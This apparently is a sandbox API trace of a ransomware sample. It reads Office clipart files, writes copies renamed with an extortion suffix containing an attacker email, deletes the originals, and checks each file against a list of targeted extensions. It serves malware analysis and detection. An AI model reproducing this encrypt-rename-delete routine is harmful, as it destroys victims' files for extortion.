	[0174.225] ReadFile (in: hFile=0x588, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xaa9a, lpOverlapped=0x0) returned 1
	[0174.272] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xaaa0, lpOverlapped=0x0) returned 1
	[0174.273] ReadFile (in: hFile=0x588, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.273] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.274] SetEndOfFile (hFile=0x58c) returned 1
	[0174.274] CloseHandle (hObject=0x58c) returned 1
	[0174.274] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.274] SetEndOfFile (hFile=0x588) returned 1
	[0174.278] CloseHandle (hObject=0x588) returned 1
	[0174.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1
	[0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.280] lstrlenW (lpString=".doc") returned 4
	[0174.280] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.280] lstrlenW (lpString=".docx") returned 5
	[0174.280] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0174.280] lstrlenW (lpString=".pdf") returned 4
	[0174.280] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.280] lstrlenW (lpString=".xls") returned 4
	[0174.280] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.280] lstrlenW (lpString=".xlsx") returned 5
	[0174.280] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0174.280] lstrlenW (lpString=".ppt") returned 4
	[0174.280] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.280] lstrlenW (lpString=".zip") returned 4
	[0174.280] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.280] lstrlenW (lpString=".rar") returned 4
	[0174.280] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.280] lstrlenW (lpString=".bz2") returned 4
	[0174.280] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.280] lstrlenW (lpString=".7z") returned 3
	[0174.280] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.280] lstrlenW (lpString=".dbf") returned 4
	[0174.281] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.281] lstrlenW (lpString=".1cd") returned 4
	[0174.281] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.281] lstrlenW (lpString=".jpg") returned 4
	[0174.281] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.281] lstrlenW (lpString=".doc") returned 4
	[0174.281] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.281] lstrlenW (lpString=".docx") returned 5
	[0174.281] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0174.281] lstrlenW (lpString=".pdf") returned 4
	[0174.281] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.281] lstrlenW (lpString=".xls") returned 4
	[0174.281] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.281] lstrlenW (lpString=".xlsx") returned 5
	[0174.281] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0174.281] lstrlenW (lpString=".ppt") returned 4
	[0174.281] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.281] lstrlenW (lpString=".zip") returned 4
	[0174.281] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.281] lstrlenW (lpString=".rar") returned 4
	[0174.281] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.281] lstrlenW (lpString=".bz2") returned 4
	[0174.281] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.281] lstrlenW (lpString=".7z") returned 3
	[0174.281] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.281] lstrlenW (lpString=".dbf") returned 4
	[0174.282] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.282] lstrlenW (lpString=".1cd") returned 4
	[0174.282] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0174.282] lstrlenW (lpString=".jpg") returned 4
	[0174.282] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.282] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.282] lstrlenW (lpString="J0148757.JPG") returned 12
	[0174.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.333] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=67540) returned 1
	[0174.333] CloseHandle (hObject=0x580) returned 1
	[0174.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220
	[0174.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.646] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.647] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.833] GetLastError () returned 0x0
	[0174.833] ReadFile (in: hFile=0x48c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x107d4, lpOverlapped=0x0) returned 1
	[0174.863] WriteFile (in: hFile=0x590, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x107e0, lpOverlapped=0x0) returned 1
	[0174.865] ReadFile (in: hFile=0x48c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.865] WriteFile (in: hFile=0x590, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.866] SetEndOfFile (hFile=0x590) returned 1
	[0174.866] CloseHandle (hObject=0x590) returned 1
	[0174.866] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.866] SetEndOfFile (hFile=0x48c) returned 1
	[0174.869] CloseHandle (hObject=0x48c) returned 1
	[0174.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1
	[0175.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.110] lstrlenW (lpString=".doc") returned 4
	[0175.110] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.110] lstrlenW (lpString=".docx") returned 5
	[0175.110] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0175.110] lstrlenW (lpString=".pdf") returned 4
	[0175.110] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.110] lstrlenW (lpString=".xls") returned 4
	[0175.110] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.110] lstrlenW (lpString=".xlsx") returned 5
	[0175.110] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0175.110] lstrlenW (lpString=".ppt") returned 4
	[0175.110] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.110] lstrlenW (lpString=".zip") returned 4
	[0175.110] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.110] lstrlenW (lpString=".rar") returned 4
	[0175.110] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.110] lstrlenW (lpString=".bz2") returned 4
	[0175.110] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.110] lstrlenW (lpString=".7z") returned 3
	[0175.110] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.110] lstrlenW (lpString=".dbf") returned 4
	[0175.110] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.110] lstrlenW (lpString=".1cd") returned 4
	[0175.110] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.110] lstrlenW (lpString=".jpg") returned 4
	[0175.111] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.111] lstrlenW (lpString=".doc") returned 4
	[0175.111] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.111] lstrlenW (lpString=".docx") returned 5
	[0175.111] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0175.111] lstrlenW (lpString=".pdf") returned 4
	[0175.111] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.111] lstrlenW (lpString=".xls") returned 4
	[0175.111] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.111] lstrlenW (lpString=".xlsx") returned 5
	[0175.111] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0175.111] lstrlenW (lpString=".ppt") returned 4
	[0175.111] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.111] lstrlenW (lpString=".zip") returned 4
	[0175.111] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.111] lstrlenW (lpString=".rar") returned 4
	[0175.111] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.111] lstrlenW (lpString=".bz2") returned 4
	[0175.111] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.111] lstrlenW (lpString=".7z") returned 3
	[0175.111] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.111] lstrlenW (lpString=".dbf") returned 4
	[0175.111] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.111] lstrlenW (lpString=".1cd") returned 4
	[0175.111] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.111] lstrlenW (lpString=".jpg") returned 4
	[0175.111] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.112] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.112] lstrlenW (lpString="J0151055.WMF") returned 12
	[0175.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.112] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=14632) returned 1
	[0175.113] CloseHandle (hObject=0x3dc) returned 1
	[0175.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220
	[0175.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.113] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.113] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0175.114] GetLastError () returned 0x0
	[0175.114] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3928, lpOverlapped=0x0) returned 1
	[0175.199] WriteFile (in: hFile=0x584, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3930, lpOverlapped=0x0) returned 1
	[0175.201] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.201] WriteFile (in: hFile=0x584, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.201] SetEndOfFile (hFile=0x584) returned 1
	[0175.210] CloseHandle (hObject=0x584) returned 1
	[0175.211] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.211] SetEndOfFile (hFile=0x3dc) returned 1
	[0175.276] CloseHandle (hObject=0x3dc) returned 1
	[0175.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1
	[0175.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.277] lstrlenW (lpString=".doc") returned 4
	[0175.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.277] lstrlenW (lpString=".docx") returned 5
	[0175.277] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0175.277] lstrlenW (lpString=".pdf") returned 4
	[0175.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.277] lstrlenW (lpString=".xls") returned 4
	[0175.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.277] lstrlenW (lpString=".xlsx") returned 5
	[0175.277] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0175.278] lstrlenW (lpString=".ppt") returned 4
	[0175.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.278] lstrlenW (lpString=".zip") returned 4
	[0175.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.278] lstrlenW (lpString=".rar") returned 4
	[0175.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString=".bz2") returned 4
	[0175.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString=".7z") returned 3
	[0175.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.278] lstrlenW (lpString=".dbf") returned 4
	[0175.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.278] lstrlenW (lpString=".1cd") returned 4
	[0175.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.278] lstrlenW (lpString=".jpg") returned 4
	[0175.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.278] lstrlenW (lpString=".doc") returned 4
	[0175.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString=".docx") returned 5
	[0175.278] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0175.278] lstrlenW (lpString=".pdf") returned 4
	[0175.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.278] lstrlenW (lpString=".xls") returned 4
	[0175.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.278] lstrlenW (lpString=".xlsx") returned 5
	[0175.279] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0175.279] lstrlenW (lpString=".ppt") returned 4
	[0175.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.279] lstrlenW (lpString=".zip") returned 4
	[0175.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.279] lstrlenW (lpString=".rar") returned 4
	[0175.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.279] lstrlenW (lpString=".bz2") returned 4
	[0175.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.279] lstrlenW (lpString=".7z") returned 3
	[0175.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.279] lstrlenW (lpString=".dbf") returned 4
	[0175.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.279] lstrlenW (lpString=".1cd") returned 4
	[0175.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0175.279] lstrlenW (lpString=".jpg") returned 4
	[0175.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.279] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.279] lstrlenW (lpString="J0151067.WMF") returned 12
	[0175.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.280] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=13204) returned 1
	[0175.280] CloseHandle (hObject=0x3dc) returned 1
	[0175.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220
	[0175.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.281] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.281] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0175.282] GetLastError () returned 0x0
